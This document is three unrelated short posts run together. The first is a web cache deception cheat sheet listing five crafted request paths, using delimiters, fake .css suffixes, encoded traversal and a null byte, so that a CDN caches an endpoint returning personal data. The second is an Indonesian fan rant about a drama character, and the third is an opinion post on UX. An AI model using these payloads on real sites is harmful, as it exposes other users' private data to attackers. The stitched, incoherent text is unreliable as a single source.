Web cache deception tricks 🪄
GET /api/me → returns PII
Run these to trick the CDN into caching a sensitive endpoint:
🟥 GET /api/me;.css
🟥 GET /api/me/foo.css
🟥 GET /static/..%2fapi/me
🟥 GET /api/me%00.css
🟥 GET /profile%2f%2e%2e%2fstatic
Your ideal scenario: the origin ignores the trailing junk (; param, extra path segment, encoded traversal) and returns private data anyway, but the CDN only sees the .css suffix and caches it as static.
NOTE: Also try other delimiters, file extensions, and static directories.
Yoon Eun Sung itu definisi cowok paling obsesif dan paling brengsek. Bisa dibilang cara apapun bakal dia lakuin buat mencapai tujuan dia. Sumpah liat muka, cara ngomong, nada ngomong, semuanya dari rambut sampe kaki bikin gw emosi sama Eun Sung 🤬🤬🖕🖕 #qot#QUEENOFTEARS
I'm not impressed by how well you design your software or how well your code is written. Software is about User Experience (UX) and how scalable your software is. It doesn't matter if your design looks good but can't handle millions of MAU.
I know that design is the first impression of the software. But come on, many designers design software that's too complex. You have to find the balance point between UI & UX.